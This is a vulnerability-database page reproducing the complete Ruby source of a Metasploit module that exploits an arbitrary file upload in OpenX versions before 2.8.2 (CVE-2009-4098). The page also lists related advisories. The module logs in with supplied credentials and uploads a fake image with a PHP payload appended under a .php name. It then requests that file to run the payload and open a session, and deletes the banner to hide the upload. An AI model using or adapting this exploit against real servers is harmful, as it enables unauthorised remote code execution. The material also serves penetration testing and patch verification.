Lucene search
K

OpenX banner-edit.php File Upload PHP Code Execution

🗓️ 08 May 2010 03:07:51Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

OpenX banner-edit.php File Upload PHP Code Executio

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
OpenX < 2.8.2 Arbitrary File Upload
25 Nov 200900:00
nessus
Circl
CVE-2009-4098
20 Sep 201000:00
circl
CVE
CVE-2009-4098
28 Nov 200911:00
cve
Cvelist
CVE-2009-4098
28 Nov 200911:00
cvelist
Exploit DB
OpenX - &#039;banner-edit.php&#039; Arbitrary File Upload / PHP Code Execution (Metasploit)
20 Sep 201000:00
exploitdb
NVD
CVE-2009-4098
29 Nov 200913:08
nvd
OpenVAS
OpenX Arbitrary File Upload Vulnerability
25 Nov 200900:00
openvas
OpenVAS
OpenX Arbitrary File Upload Vulnerability
25 Nov 200900:00
openvas
Packet Storm
OpenX banner-edit.php File Upload PHP Code Execution
8 May 201000:00
packetstorm
Prion
Unrestricted file upload
29 Nov 200913:08
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenX banner-edit.php File Upload PHP Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the OpenX advertising software.
        In versions prior to version 2.8.2, authenticated users can upload files
        with arbitrary extensions to be used as banner creative content. By uploading
        a file with a PHP extension, an attacker can execute arbitrary PHP code.

        NOTE: The file must also return either "png", "gif", or "jpeg" as its image
        type as returned from the PHP getimagesize() function.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4098' ],
          [ 'OSVDB', '60499' ],
          [ 'BID', '37110' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
          [ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
          # References for making small images:
          [ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
          [ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
          [ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
          [ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
          [ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
          [ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => '-find',
            },
          'Space'       => 1024,
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2009-11-24',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
        OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
        OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
      ])
  end

  def check
    uri = normalize_uri(datastore['URI'], 'www', 'admin/')
    res = send_request_raw(
      {
        'uri' => uri
      }, 25)

    if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
      ver = $1
      vers = ver.split('.').map { |v| v.to_i }
      return Exploit::CheckCode::Safe if (vers[0] > 2)
      return Exploit::CheckCode::Safe if (vers[1] > 8)
      return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    # tiny images :)
    tiny_gif = "GIF89a" +
      "\x01\x00\x01\x00\x00" +
      [1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
      "\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
    tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
      rand_text_alphanumeric(8) +
      [1,1,0].pack('NNC')
    tiny_jpeg = "\xff\xd8\xff\xff" +
      [0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
    tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]

    # Payload
    cmd_php = '<?php ' + payload.encoded + '?>'
    content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php

    # Static files
    img_dir     = 'images/'
    uri_base    = normalize_uri(datastore['URI'], 'www/')

    # Need to login first :-/
    cookie = openx_login(uri_base)
    if (not cookie)
      fail_with(Failure::Unknown, 'Unable to login!')
    end
    print_good("Logged in successfully (cookie: #{cookie})")

    # Now, check for an advertiser / campaign
    ids = openx_find_campaign(uri_base, cookie)
    if (not ids)
      # TODO: try to add an advertiser and/or campaign
      fail_with(Failure::Unknown, 'The system has no advertisers or campaigns!')
    end
    adv_id = ids[0]
    camp_id = ids[1]
    print_status("Using advertiser #{adv_id} and campaign #{camp_id}")

    # Add the banner >:)
    ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
    if (not ban_id)
      fail_with(Failure::Unknown, 'Unable to upload the banner!')
    end
    print_good("Successfully uploaded the banner image with id #{ban_id}")

    # Find the filename
    ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
    if (not ban_fname)
      fail_with(Failure::Unknown, 'Unable to find the banner filename!')
    end
    print_status("Resolved banner id to name: #{ban_fname}")

    # Request it to trigger the payload
    res = send_request_raw({
        'uri' => uri_base + 'images/' + ban_fname + '.php'
      })

    # Delete the banner :)
    if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
      print_warning("WARNING: Unable to automatically delete the banner :-/")
    else
      print_good("Successfully deleted banner # #{ban_id}")
    end

    print_status("You should have a session now.")

    handler

  end


  def openx_login(uri_base)

    res = send_request_raw(
      {
        'uri' => normalize_uri(uri_base, 'admin/index.php')
      }, 10)
    if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
      return nil
    end
    cookie = $1

    res = send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => normalize_uri(uri_base, 'admin/index.php'),
        'vars_post' =>
          {
            'oa_cookiecheck' => cookie,
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            'login' => 'Login'
          },
        'headers'   =>
          {
            'Cookie'  => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          },
      }, 10)
    if (not res or res.code != 302)
      return nil
    end

    # return the cookie
    cookie
  end


  def openx_find_campaign(uri_base, cookie)
    res = send_request_raw(
      {
        'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'),
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          },
      })
    if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
      return nil
    end

    adv_id = $1.to_i
    camp_id = $2.to_i

    [ adv_id, camp_id ]
  end


  def mime_field(boundary, name, data, filename = nil, type = nil)
    ret = ''
    ret << '--' + boundary + "\r\n"
    ret << "Content-Disposition: form-data; name=\"#{name}\""
    if (filename)
      ret << "; filename=\"#{filename}\""
    end
    ret << "\r\n"
    if (type)
      ret << "Content-Type: #{type}\r\n"
    end
    ret << "\r\n"
    ret << data + "\r\n"
    ret
  end


  def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
    # Generate some random strings
    boundary    = ('-' * 8) + rand_text_alphanumeric(32)
    cmdscript   = rand_text_alphanumeric(8+rand(8))

    # Upload payload (file ending .php)
    data = ""
    data << mime_field(boundary, "_qf__bannerForm", "")
    data << mime_field(boundary, "clientid", adv_id.to_s)
    data << mime_field(boundary, "campaignid", camp_id.to_s)
    data << mime_field(boundary, "bannerid", "")
    data << mime_field(boundary, "type", "web")
    data << mime_field(boundary, "status", "")
    data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
    data << mime_field(boundary, "replaceimage", "t")
    data << mime_field(boundary, "replacealtimage", "t")
    data << mime_field(boundary, "description", datastore['DESC'])
    data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
    data << mime_field(boundary, "checkswf", "1")
    data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
    data << mime_field(boundary, "url", "http://")
    data << mime_field(boundary, "target", "")
    data << mime_field(boundary, "alt", "")
    data << mime_field(boundary, "statustext", "")
    data << mime_field(boundary, "bannertext", "")
    data << mime_field(boundary, "keyword", "")
    data << mime_field(boundary, "weight", "1")
    data << mime_field(boundary, "comments", "")
    data << mime_field(boundary, "submit", "Save changes")
    #data << mime_field(boundary, "", "")
    data << '--' + boundary + '--'

    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/banner-edit.php"),
        'method'  => 'POST',
        'data'    => data,
        'headers' =>
          {
            'Content-Length' => data.length,
            'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
            'Cookie'         => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      }, 25)

    if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
      return nil
    end

    # Ugh, now we have to get the banner id!
    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}",
        'method'  => 'GET',
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      })

    if not (res and res.body.length > 0)
      return nil
    end

    res.body.each_line { |ln|
      # make sure the title we used is on this line
      regexp = Regexp.escape(datastore['DESC'])
      next if not (ln =~ /#{regexp}/)

      next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)

      # found it! (don't worry about dupes)
      return $1.to_i
    }

    # Didn't find it :-/
    nil
  end


  def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
    # Ugh, now we have to get the banner name too!
    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
        'method'  => 'GET',
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      })

    if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
      return nil
    end

    return $1
  end


  def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
        'method'  => 'GET',
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      })

    if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
      return nil
    end

    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation